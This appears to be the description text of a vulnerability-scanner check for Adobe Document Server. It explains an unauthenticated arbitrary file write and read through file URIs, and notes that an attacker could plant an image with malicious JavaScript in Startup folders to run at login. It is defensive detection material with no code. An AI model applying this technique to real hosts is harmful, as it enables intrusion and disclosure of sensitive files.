"The remote host is running Adobe Document Server, a server that
dynamically creates and manipulates PDF documents as well as graphic
images. 

The version of Adobe Document Server installed on the remote host
allows saving PDF and XML documents as well as most types of image
files using file URIs to arbitrary locations on the affected host and
with arbitrary extensions.  An unauthenticated, remote attacker may be
able to leverage this flaw to write a graphics image with malicious
JavaScript as metadata into the Startup folders to be executed
whenever a user logs in. 

Additionally, it lets an attacker retrieve arbitrary PDF files, XML
documents, and most types of image files, which may result in the
disclosure of sensitive information." );
